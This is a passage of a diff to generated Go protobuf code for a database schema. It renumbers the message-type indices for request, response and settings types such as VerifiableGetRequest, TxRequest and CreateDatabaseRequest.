&file_schema_proto_msgTypes[45] + mi := &file_schema_proto_msgTypes[46] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3387,7 +3380,7 @@ func (x *VerifiableGetRequest) String() string { func (*VerifiableGetRequest) ProtoMessage() {} func (x *VerifiableGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[45] + mi := &file_schema_proto_msgTypes[46] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3400,7 +3393,7 @@ func (x *VerifiableGetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableGetRequest.ProtoReflect.Descriptor instead. func (*VerifiableGetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{45} + return file_schema_proto_rawDescGZIP(), []int{46} } func (x *VerifiableGetRequest) GetKeyRequest() *KeyRequest { @@ -3427,7 +3420,7 @@ type ServerInfoRequest struct { func (x *ServerInfoRequest) Reset() { *x = ServerInfoRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[46] + mi := &file_schema_proto_msgTypes[47] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3440,7 +3433,7 @@ func (x *ServerInfoRequest) String() string { func (*ServerInfoRequest) ProtoMessage() {} func (x *ServerInfoRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[46] + mi := &file_schema_proto_msgTypes[47] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3453,7 +3446,7 @@ func (x *ServerInfoRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ServerInfoRequest.ProtoReflect.Descriptor instead. func (*ServerInfoRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{46} + return file_schema_proto_rawDescGZIP(), []int{47} } // ServerInfoResponse contains information about the server instance. @@ -3477,7 +3470,7 @@ type ServerInfoResponse struct { func (x *ServerInfoResponse) Reset() { *x = ServerInfoResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[47] + mi := &file_schema_proto_msgTypes[48] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3490,7 +3483,7 @@ func (x *ServerInfoResponse) String() string { func (*ServerInfoResponse) ProtoMessage() {} func (x *ServerInfoResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[47] + mi := &file_schema_proto_msgTypes[48] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3503,7 +3496,7 @@ func (x *ServerInfoResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use ServerInfoResponse.ProtoReflect.Descriptor instead. func (*ServerInfoResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{47} + return file_schema_proto_rawDescGZIP(), []int{48} } func (x *ServerInfoResponse) GetVersion() string { @@ -3555,7 +3548,7 @@ type HealthResponse struct { func (x *HealthResponse) Reset() { *x = HealthResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[48] + mi := &file_schema_proto_msgTypes[49] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3568,7 +3561,7 @@ func (x *HealthResponse) String() string { func (*HealthResponse) ProtoMessage() {} func (x *HealthResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[48] + mi := &file_schema_proto_msgTypes[49] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3581,7 +3574,7 @@ func (x *HealthResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use HealthResponse.ProtoReflect.Descriptor instead. func (*HealthResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{48} + return file_schema_proto_rawDescGZIP(), []int{49} } func (x *HealthResponse) GetStatus() bool { @@ -3612,7 +3605,7 @@ type DatabaseHealthResponse struct { func (x *DatabaseHealthResponse) Reset() { *x = DatabaseHealthResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[49] + mi := &file_schema_proto_msgTypes[50] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3625,7 +3618,7 @@ func (x *DatabaseHealthResponse) String() string { func (*DatabaseHealthResponse) ProtoMessage() {} func (x *DatabaseHealthResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[49] + mi := &file_schema_proto_msgTypes[50] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3638,7 +3631,7 @@ func (x *DatabaseHealthResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseHealthResponse.ProtoReflect.Descriptor instead. func (*DatabaseHealthResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{49} + return file_schema_proto_rawDescGZIP(), []int{50} } func (x *DatabaseHealthResponse) GetPendingRequests() uint32 { @@ -3677,7 +3670,7 @@ type ImmutableState struct { func (x *ImmutableState) Reset() { *x = ImmutableState{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[50] + mi := &file_schema_proto_msgTypes[51] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3690,7 +3683,7 @@ func (x *ImmutableState) String() string { func (*ImmutableState) ProtoMessage() {} func (x *ImmutableState) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[50] + mi := &file_schema_proto_msgTypes[51] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3703,7 +3696,7 @@ func (x *ImmutableState) ProtoReflect() protoreflect.Message { // Deprecated: Use ImmutableState.ProtoReflect.Descriptor instead. func (*ImmutableState) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{50} + return file_schema_proto_rawDescGZIP(), []int{51} } func (x *ImmutableState) GetDb() string { @@ -3771,7 +3764,7 @@ type ReferenceRequest struct { func (x *ReferenceRequest) Reset() { *x = ReferenceRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[51] + mi := &file_schema_proto_msgTypes[52] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3784,7 +3777,7 @@ func (x *ReferenceRequest) String() string { func (*ReferenceRequest) ProtoMessage() {} func (x *ReferenceRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[51] + mi := &file_schema_proto_msgTypes[52] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3797,7 +3790,7 @@ func (x *ReferenceRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ReferenceRequest.ProtoReflect.Descriptor instead. func (*ReferenceRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{51} + return file_schema_proto_rawDescGZIP(), []int{52} } func (x *ReferenceRequest) GetKey() []byte { @@ -3857,7 +3850,7 @@ type VerifiableReferenceRequest struct { func (x *VerifiableReferenceRequest) Reset() { *x = VerifiableReferenceRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[52] + mi := &file_schema_proto_msgTypes[53] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3870,7 +3863,7 @@ func (x *VerifiableReferenceRequest) String() string { func (*VerifiableReferenceRequest) ProtoMessage() {} func (x *VerifiableReferenceRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[52] + mi := &file_schema_proto_msgTypes[53] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3883,7 +3876,7 @@ func (x *VerifiableReferenceRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableReferenceRequest.ProtoReflect.Descriptor instead. func (*VerifiableReferenceRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{52} + return file_schema_proto_rawDescGZIP(), []int{53} } func (x *VerifiableReferenceRequest) GetReferenceRequest() *ReferenceRequest { @@ -3923,7 +3916,7 @@ type ZAddRequest struct { func (x *ZAddRequest) Reset() { *x = ZAddRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[53] + mi := &file_schema_proto_msgTypes[54] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3936,7 +3929,7 @@ func (x *ZAddRequest) String() string { func (*ZAddRequest) ProtoMessage() {} func (x *ZAddRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[53] + mi := &file_schema_proto_msgTypes[54] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3949,7 +3942,7 @@ func (x *ZAddRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ZAddRequest.ProtoReflect.Descriptor instead. func (*ZAddRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{53} + return file_schema_proto_rawDescGZIP(), []int{54} } func (x *ZAddRequest) GetSet() []byte { @@ -4006,7 +3999,7 @@ type Score struct { func (x *Score) Reset() { *x = Score{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[54] + mi := &file_schema_proto_msgTypes[55] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4019,7 +4012,7 @@ func (x *Score) String() string { func (*Score) ProtoMessage() {} func (x *Score) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[54] + mi := &file_schema_proto_msgTypes[55] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4032,7 +4025,7 @@ func (x *Score) ProtoReflect() protoreflect.Message { // Deprecated: Use Score.ProtoReflect.Descriptor instead. func (*Score) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{54} + return file_schema_proto_rawDescGZIP(), []int{55} } func (x *Score) GetScore() float64 { @@ -4079,7 +4072,7 @@ type ZScanRequest struct { func (x *ZScanRequest) Reset() { *x = ZScanRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[55] + mi := &file_schema_proto_msgTypes[56] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4092,7 +4085,7 @@ func (x *ZScanRequest) String() string { func (*ZScanRequest) ProtoMessage() {} func (x *ZScanRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[55] + mi := &file_schema_proto_msgTypes[56] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4105,7 +4098,7 @@ func (x *ZScanRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ZScanRequest.ProtoReflect.Descriptor instead. func (*ZScanRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{55} + return file_schema_proto_rawDescGZIP(), []int{56} } func (x *ZScanRequest) GetSet() []byte { @@ -4214,7 +4207,7 @@ type HistoryRequest struct { func (x *HistoryRequest) Reset() { *x = HistoryRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[56] + mi := &file_schema_proto_msgTypes[57] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4227,7 +4220,7 @@ func (x *HistoryRequest) String() string { func (*HistoryRequest) ProtoMessage() {} func (x *HistoryRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[56] + mi := &file_schema_proto_msgTypes[57] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4240,7 +4233,7 @@ func (x *HistoryRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use HistoryRequest.ProtoReflect.Descriptor instead. func (*HistoryRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{56} + return file_schema_proto_rawDescGZIP(), []int{57} } func (x *HistoryRequest) GetKey() []byte { @@ -4292,7 +4285,7 @@ type VerifiableZAddRequest struct { func (x *VerifiableZAddRequest) Reset() { *x = VerifiableZAddRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[57] + mi := &file_schema_proto_msgTypes[58] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4305,7 +4298,7 @@ func (x *VerifiableZAddRequest) String() string { func (*VerifiableZAddRequest) ProtoMessage() {} func (x *VerifiableZAddRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[57] + mi := &file_schema_proto_msgTypes[58] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4318,7 +4311,7 @@ func (x *VerifiableZAddRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableZAddRequest.ProtoReflect.Descriptor instead. func (*VerifiableZAddRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{57} + return file_schema_proto_rawDescGZIP(), []int{58} } func (x *VerifiableZAddRequest) GetZAddRequest() *ZAddRequest { @@ -4356,7 +4349,7 @@ type TxRequest struct { func (x *TxRequest) Reset() { *x = TxRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[58] + mi := &file_schema_proto_msgTypes[59] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4369,7 +4362,7 @@ func (x *TxRequest) String() string { func (*TxRequest) ProtoMessage() {} func (x *TxRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[58] + mi := &file_schema_proto_msgTypes[59] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4382,7 +4375,7 @@ func (x *TxRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use TxRequest.ProtoReflect.Descriptor instead. func (*TxRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{58} + return file_schema_proto_rawDescGZIP(), []int{59} } func (x *TxRequest) GetTx() uint64 { @@ -4436,7 +4429,7 @@ type EntriesSpec struct { func (x *EntriesSpec) Reset() { *x = EntriesSpec{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[59] + mi := &file_schema_proto_msgTypes[60] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4449,7 +4442,7 @@ func (x *EntriesSpec) String() string { func (*EntriesSpec) ProtoMessage() {} func (x *EntriesSpec) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[59] + mi := &file_schema_proto_msgTypes[60] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4462,7 +4455,7 @@ func (x *EntriesSpec) ProtoReflect() protoreflect.Message { // Deprecated: Use EntriesSpec.ProtoReflect.Descriptor instead. func (*EntriesSpec) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{59} + return file_schema_proto_rawDescGZIP(), []int{60} } func (x *EntriesSpec) GetKvEntriesSpec() *EntryTypeSpec { @@ -4498,7 +4491,7 @@ type EntryTypeSpec struct { func (x *EntryTypeSpec) Reset() { *x = EntryTypeSpec{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[60] + mi := &file_schema_proto_msgTypes[61] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4511,7 +4504,7 @@ func (x *EntryTypeSpec) String() string { func (*EntryTypeSpec) ProtoMessage() {} func (x *EntryTypeSpec) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[60] + mi := &file_schema_proto_msgTypes[61] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4524,7 +4517,7 @@ func (x *EntryTypeSpec) ProtoReflect() protoreflect.Message { // Deprecated: Use EntryTypeSpec.ProtoReflect.Descriptor instead. func (*EntryTypeSpec) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{60} + return file_schema_proto_rawDescGZIP(), []int{61} } func (x *EntryTypeSpec) GetAction() EntryTypeAction { @@ -4558,7 +4551,7 @@ type VerifiableTxRequest struct { func (x *VerifiableTxRequest) Reset() { *x = VerifiableTxRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[61] + mi := &file_schema_proto_msgTypes[62] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4571,7 +4564,7 @@ func (x *VerifiableTxRequest) String() string { func (*VerifiableTxRequest) ProtoMessage() {} func (x *VerifiableTxRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[61] + mi := &file_schema_proto_msgTypes[62] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4584,7 +4577,7 @@ func (x *VerifiableTxRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableTxRequest.ProtoReflect.Descriptor instead. func (*VerifiableTxRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{61} + return file_schema_proto_rawDescGZIP(), []int{62} } func (x *VerifiableTxRequest) GetTx() uint64 { @@ -4652,7 +4645,7 @@ type TxScanRequest struct { func (x *TxScanRequest) Reset() { *x = TxScanRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[62] + mi := &file_schema_proto_msgTypes[63] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4665,7 +4658,7 @@ func (x *TxScanRequest) String() string { func (*TxScanRequest) ProtoMessage() {} func (x *TxScanRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[62] + mi := &file_schema_proto_msgTypes[63] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4678,7 +4671,7 @@ func (x *TxScanRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use TxScanRequest.ProtoReflect.Descriptor instead. func (*TxScanRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{62} + return file_schema_proto_rawDescGZIP(), []int{63} } func (x *TxScanRequest) GetInitialTx() uint64 { @@ -4735,7 +4728,7 @@ type TxList struct { func (x *TxList) Reset() { *x = TxList{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[63] + mi := &file_schema_proto_msgTypes[64] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4748,7 +4741,7 @@ func (x *TxList) String() string { func (*TxList) ProtoMessage() {} func (x *TxList) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[63] + mi := &file_schema_proto_msgTypes[64] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4761,7 +4754,7 @@ func (x *TxList) ProtoReflect() protoreflect.Message { // Deprecated: Use TxList.ProtoReflect.Descriptor instead. func (*TxList) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{63} + return file_schema_proto_rawDescGZIP(), []int{64} } func (x *TxList) GetTxs() []*Tx { @@ -4789,7 +4782,7 @@ type ExportTxRequest struct { func (x *ExportTxRequest) Reset() { *x = ExportTxRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[64] + mi := &file_schema_proto_msgTypes[65] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4802,7 +4795,7 @@ func (x *ExportTxRequest) String() string { func (*ExportTxRequest) ProtoMessage() {} func (x *ExportTxRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[64] + mi := &file_schema_proto_msgTypes[65] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4815,7 +4808,7 @@ func (x *ExportTxRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ExportTxRequest.ProtoReflect.Descriptor instead. func (*ExportTxRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{64} + return file_schema_proto_rawDescGZIP(), []int{65} } func (x *ExportTxRequest) GetTx() uint64 { @@ -4861,7 +4854,7 @@ type ReplicaState struct { func (x *ReplicaState) Reset() { *x = ReplicaState{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[65] + mi := &file_schema_proto_msgTypes[66] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4874,7 +4867,7 @@ func (x *ReplicaState) String() string { func (*ReplicaState) ProtoMessage() {} func (x *ReplicaState) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[65] + mi := &file_schema_proto_msgTypes[66] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4887,7 +4880,7 @@ func (x *ReplicaState) ProtoReflect() protoreflect.Message { // Deprecated: Use ReplicaState.ProtoReflect.Descriptor instead. func (*ReplicaState) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{65} + return file_schema_proto_rawDescGZIP(), []int{66} } func (x *ReplicaState) GetUUID() string { @@ -4937,7 +4930,7 @@ type Database struct { func (x *Database) Reset() { *x = Database{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[66] + mi := &file_schema_proto_msgTypes[67] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4950,7 +4943,7 @@ func (x *Database) String() string { func (*Database) ProtoMessage() {} func (x *Database) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[66] + mi := &file_schema_proto_msgTypes[67] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4963,7 +4956,7 @@ func (x *Database) ProtoReflect() protoreflect.Message { // Deprecated: Use Database.ProtoReflect.Descriptor instead. func (*Database) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{66} + return file_schema_proto_rawDescGZIP(), []int{67} } func (x *Database) GetDatabaseName() string { @@ -5007,7 +5000,7 @@ type DatabaseSettings struct { func (x *DatabaseSettings) Reset() { *x = DatabaseSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[67] + mi := &file_schema_proto_msgTypes[68] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5020,7 +5013,7 @@ func (x *DatabaseSettings) String() string { func (*DatabaseSettings) ProtoMessage() {} func (x *DatabaseSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[67] + mi := &file_schema_proto_msgTypes[68] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5033,7 +5026,7 @@ func (x *DatabaseSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseSettings.ProtoReflect.Descriptor instead. func (*DatabaseSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{67} + return file_schema_proto_rawDescGZIP(), []int{68} } func (x *DatabaseSettings) GetDatabaseName() string { @@ -5136,7 +5129,7 @@ type CreateDatabaseRequest struct { func (x *CreateDatabaseRequest) Reset() { *x = CreateDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[68] + mi := &file_schema_proto_msgTypes[69] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5149,7 +5142,7 @@ func (x *CreateDatabaseRequest) String() string { func (*CreateDatabaseRequest) ProtoMessage() {} func (x *CreateDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[68] + mi := &file_schema_proto_msgTypes[69] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5162,7 +5155,7 @@ func (x *CreateDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateDatabaseRequest.ProtoReflect.Descriptor instead. func (*CreateDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{68} + return file_schema_proto_rawDescGZIP(), []int{69} } func (x *CreateDatabaseRequest) GetName() string { @@ -5202,7 +5195,7 @@ type CreateDatabaseResponse struct { func (x *CreateDatabaseResponse) Reset() { *x = CreateDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[69] + mi := &file_schema_proto_msgTypes[70] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5215,7 +5208,7 @@ func (x *CreateDatabaseResponse) String() string { func (*CreateDatabaseResponse) ProtoMessage() {} func (x *CreateDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[69] + mi := &file_schema_proto_msgTypes[70] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5228,7 +5221,7 @@ func (x *CreateDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateDatabaseResponse.ProtoReflect.Descriptor instead. func (*CreateDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{69} + return file_schema_proto_rawDescGZIP(), []int{70} } func (x *CreateDatabaseResponse) GetName() string { @@ -5266,7 +5259,7 @@ type UpdateDatabaseRequest struct { func (x *UpdateDatabaseRequest) Reset() { *x = UpdateDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[70] + mi := &file_schema_proto_msgTypes[71] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5279,7 +5272,7 @@ func (x *UpdateDatabaseRequest) String() string { func (*UpdateDatabaseRequest) ProtoMessage() {} func (x *UpdateDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[70] + mi := &file_schema_proto_msgTypes[71] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5292,7 +5285,7 @@ func (x *UpdateDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use UpdateDatabaseRequest.ProtoReflect.Descriptor instead. func (*UpdateDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{70} + return file_schema_proto_rawDescGZIP(), []int{71} } func (x *UpdateDatabaseRequest) GetDatabase() string { @@ -5324,7 +5317,7 @@ type UpdateDatabaseResponse struct { func (x *UpdateDatabaseResponse) Reset() { *x = UpdateDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[71] + mi := &file_schema_proto_msgTypes[72] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5337,7 +5330,7 @@ func (x *UpdateDatabaseResponse) String() string { func (*UpdateDatabaseResponse) ProtoMessage() {} func (x *UpdateDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[71] + mi := &file_schema_proto_msgTypes[72] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5350,7 +5343,7 @@ func (x *UpdateDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use UpdateDatabaseResponse.ProtoReflect.Descriptor instead. func (*UpdateDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{71} + return file_schema_proto_rawDescGZIP(), []int{72} } func (x *UpdateDatabaseResponse) GetDatabase() string { @@ -5376,7 +5369,7 @@ type DatabaseSettingsRequest struct { func (x 